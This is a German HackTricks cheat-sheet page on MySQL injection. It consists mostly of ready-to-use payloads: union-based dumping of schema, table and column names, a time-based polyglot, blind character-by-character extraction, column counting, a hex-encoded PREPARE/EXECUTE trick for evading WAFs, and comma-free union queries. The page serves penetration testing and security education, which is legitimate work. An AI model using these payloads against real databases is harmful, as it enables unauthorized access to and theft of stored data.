MySQL-Injektion

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Kommentare

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interessante Funktionen

Bestätigen Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Nützliche Funktionen

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Alle Injektionen

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

Flow

Denken Sie daran, dass Sie in "modernen" Versionen von MySQL "information_schema.tables" durch "mysql.innodb_table_stats" ersetzen können (dies könnte nützlich sein, um WAFs zu umgehen).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Nur 1 Wert

  • group_concat()
  • Limit X,1

Blind eins nach dem anderen

  • substr(version(),X,1)='r' oder substring(version(),X,1)=0x70 oder ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind hinzufügen

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Anzahl der Spalten erkennen

Verwendung einer einfachen ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union-basiert

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Lernen Sie hier verschiedene Optionen, um eine Mysql-Injection auszunutzen, um eine SSRF zu erhalten.

WAF-Bypass-Tricks

Ausführen von Abfragen über vorbereitete Anweisungen

Wenn gestapelte Abfragen erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variablen die hexadezimale Darstellung der Abfrage zuweist, die man ausführen möchte (indem man SET verwendet), und dann die MySQL-Anweisungen PREPARE und EXECUTE verwendet, um letztendlich die Abfrage auszuführen. Etwas wie dies:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Für weitere Informationen siehe diesen Blogbeitrag.

Information_schema Alternativen

Denke daran, dass du in "modernen" Versionen von MySQL information_schema.tables durch mysql.innodb_table_stats oder sys.x$schema_flattened_keys oder sys.schema_table_statistics ersetzen kannst.

MySQLinjection ohne KOMMA

Wähle 2 Spalten ohne Verwendung eines Kommas (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Abrufen von Werten ohne den Spaltennamen

Wenn Sie zu einem bestimmten Zeitpunkt den Namen der Tabelle kennen, aber die Namen der Spalten in der Tabelle nicht kennen, können Sie versuchen herauszufinden, wie viele Spalten vorhanden sind, indem Sie etwas wie Folgendes ausführen:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die Flagge, können Sie versuchen, den Inhalt der Flagge durch Brute-Force zu entschlüsseln, indem Sie Zeichen für Zeichen ausprobieren:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Mehr Informationen unter https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

MySQL-Historie

Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle: sys.x$statement_analysis lesen.

Versionsalternativenn

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Weitere MYSQL-Injektionsanleitungen

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks